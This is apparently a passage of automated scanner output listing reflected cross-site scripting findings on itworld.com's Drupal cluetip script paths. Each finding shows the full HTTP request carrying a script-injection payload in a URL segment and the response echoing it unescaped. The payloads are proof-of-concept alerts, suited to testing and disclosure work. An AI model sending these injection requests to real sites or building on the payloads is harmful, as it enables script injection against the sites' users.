HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:54 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460174"
Content-Type: text/html; charset=utf-8
Content-Length: 57560
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:58 GMT
X-Varnish: 252446808
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all3fd3d"-alert(1)-"36ba1e0eb12/modules/contrib/cluetip/cluetip/jquery.cluetip.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn
...[SNIP]...

1.135. http://www.itworld.com/sites/all/modules/contrib/cluetip/cluetip/jquery.cluetip.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/cluetip/cluetip/jquery.cluetip.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 49e50"><script>alert(1)</script>fdbfd5089f9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all49e50"><script>alert(1)</script>fdbfd5089f9/modules/contrib/cluetip/cluetip/jquery.cluetip.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:27 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460147"
Content-Type: text/html; charset=utf-8
Content-Length: 57780
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:38 GMT
X-Varnish: 252446304
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all49e50"><script>alert(1)</script>fdbfd5089f9/modules/contrib/cluetip/cluetip/jquery.cluetip.js?h"/>
...[SNIP]...

1.136. http://www.itworld.com/sites/all/modules/contrib/cluetip/cluetip/jquery.cluetip.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/cluetip/cluetip/jquery.cluetip.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2167b"-alert(1)-"0388867f9c9 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules2167b"-alert(1)-"0388867f9c9/contrib/cluetip/cluetip/jquery.cluetip.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:54 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460234"
Content-Type: text/html; charset=utf-8
Content-Length: 57566
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:57 GMT
X-Varnish: 252448216
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
S";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules2167b"-alert(1)-"0388867f9c9/contrib/cluetip/cluetip/jquery.cluetip.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find
...[SNIP]...

1.137. http://www.itworld.com/sites/all/modules/contrib/cluetip/cluetip/jquery.cluetip.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/cluetip/cluetip/jquery.cluetip.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ae6af"><script>alert(1)</script>c139c3e795a was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modulesae6af"><script>alert(1)</script>c139c3e795a/contrib/cluetip/cluetip/jquery.cluetip.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:34 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460214"
Content-Type: text/html; charset=utf-8
Content-Length: 57786
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:39 GMT
X-Varnish: 252447461
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modulesae6af"><script>alert(1)</script>c139c3e795a/contrib/cluetip/cluetip/jquery.cluetip.js?h"/>
...[SNIP]...

1.138. http://www.itworld.com/sites/all/modules/contrib/cluetip/cluetip/jquery.cluetip.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/cluetip/cluetip/jquery.cluetip.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 84992"-alert(1)-"86280955db2 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/cluetip84992"-alert(1)-"86280955db2/cluetip/jquery.cluetip.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:16 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460316"
Content-Type: text/html; charset=utf-8
Content-Length: 57566
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:25 GMT
X-Varnish: 1038160026
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
erich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/cluetip84992"-alert(1)-"86280955db2/cluetip/jquery.cluetip.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you req
...[SNIP]...

1.139. http://www.itworld.com/sites/all/modules/contrib/cluetip/cluetip/jquery.cluetip.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/cluetip/cluetip/jquery.cluetip.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 71953"-alert(1)-"cd0a9f2e1f0 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/cluetip/cluetip71953"-alert(1)-"cd0a9f2e1f0/jquery.cluetip.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:50 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460350"
Content-Type: text/html; charset=utf-8
Content-Length: 57565
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:54 GMT
X-Varnish: 1038161244
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/cluetip/cluetip71953"-alert(1)-"cd0a9f2e1f0/jquery.cluetip.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested."
...[SNIP]...

1.140. http://www.itworld.com/sites/all/modules/contrib/cluetip/cluetip/jquery.cluetip.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/cluetip/cluetip/jquery.cluetip.js

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4c0b1"><script>alert(1)</script>62dd8bd6a98 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/cluetip/cluetip4c0b1"><script>alert(1)</script>62dd8bd6a98/jquery.cluetip.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:44 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460344"
Content-Type: text/html; charset=utf-8
Content-Length: 57785
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:45 GMT
X-Varnish: 1038160943
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/cluetip/cluetip4c0b1"><script>alert(1)</script>62dd8bd6a98/jquery.cluetip.js?h"/>
...[SNIP]...

1.141. http://www.itworld.com/sites/all/modules/contrib/cluetip/cluetip/jquery.hoverIntent.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/cluetip/cluetip/jquery.hoverIntent.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7ec0d"><script>alert(1)</script>39213b93aae was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules7ec0d"><script>alert(1)</script>39213b93aae/contrib/cluetip/cluetip/jquery.hoverIntent.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:45 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460165"
Content-Type: text/html; charset=utf-8
Content-Length: 57820
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:50 GMT
X-Varnish: 252446542
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules7ec0d"><script>alert(1)</script>39213b93aae/contrib/cluetip/cluetip/jquery.hoverIntent.js?h"/>
...[SNIP]...

1.142. http://www.itworld.com/sites/all/modules/contrib/cluetip/cluetip/jquery.hoverIntent.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/cluetip/cluetip/jquery.hoverIntent.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 35be2"-alert(1)-"53a04b94597 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules35be2"-alert(1)-"53a04b94597/contrib/cluetip/cluetip/jquery.hoverIntent.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:06 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460186"
Content-Type: text/html; charset=utf-8
Content-Length: 57606
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:25 GMT
X-Varnish: 252446903
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
S";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules35be2"-alert(1)-"53a04b94597/contrib/cluetip/cluetip/jquery.hoverIntent.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't f
...[SNIP]...

1.143. http://www.itworld.com/sites/all/modules/contrib/cluetip/cluetip/jquery.hoverIntent.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/cluetip/cluetip/jquery.hoverIntent.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5f33d"-alert(1)-"8605b35cdf4 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/cluetip5f33d"-alert(1)-"8605b35cdf4/cluetip/jquery.hoverIntent.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:13 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460313"
Content-Type: text/html; charset=utf-8
Content-Length: 57605
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:39 GMT
X-Varnish: 1038159993
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
erich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/cluetip5f33d"-alert(1)-"8605b35cdf4/cluetip/jquery.hoverIntent.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you
...[SNIP]...

1.144. http://www.itworld.com/sites/all/modules/contrib/cluetip/cluetip/jquery.hoverIntent.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/cluetip/cluetip/jquery.hoverIntent.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dc614"-alert(1)-"d40ccf11ee3 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/cluetip/cluetipdc614"-alert(1)-"d40ccf11ee3/jquery.hoverIntent.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:10 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460370"
Content-Type: text/html; charset=utf-8
Content-Length: 57604
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:11 GMT
X-Varnish: 1038161749
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/cluetip/cluetipdc614"-alert(1)-"d40ccf11ee3/jquery.hoverIntent.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you request
...[SNIP]...

1.145. http://www.itworld.com/sites/all/modules/contrib/cluetip/cluetip/jquery.hoverIntent.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/cluetip/cluetip/jquery.hoverIntent.js

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d896e"><script>alert(1)</script>74a95ab4ffc was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/cluetip/cluetipd896e"><script>alert(1)</script>74a95ab4ffc/jquery.hoverIntent.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:58 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460358"
Content-Type: text/html; charset=utf-8
Content-Length: 57825
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:05 GMT
X-Varnish: 1038161386
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/cluetip/cluetipd896e"><script>alert(1)</script>74a95ab4ffc/jquery.hoverIntent.js?h"/>
...[SNIP]...

1.146. http://www.itworld.com/sites/all/modules/contrib/cluetip/cluetip/jquery.hoverIntent.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/cluetip/cluetip/jquery.hoverIntent.js

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b4ef5"><script>alert(1)</script>bd527ad5cce was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/cluetip/cluetip/jquery.hoverIntent.jsb4ef5"><script>alert(1)</script>bd527ad5cce?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

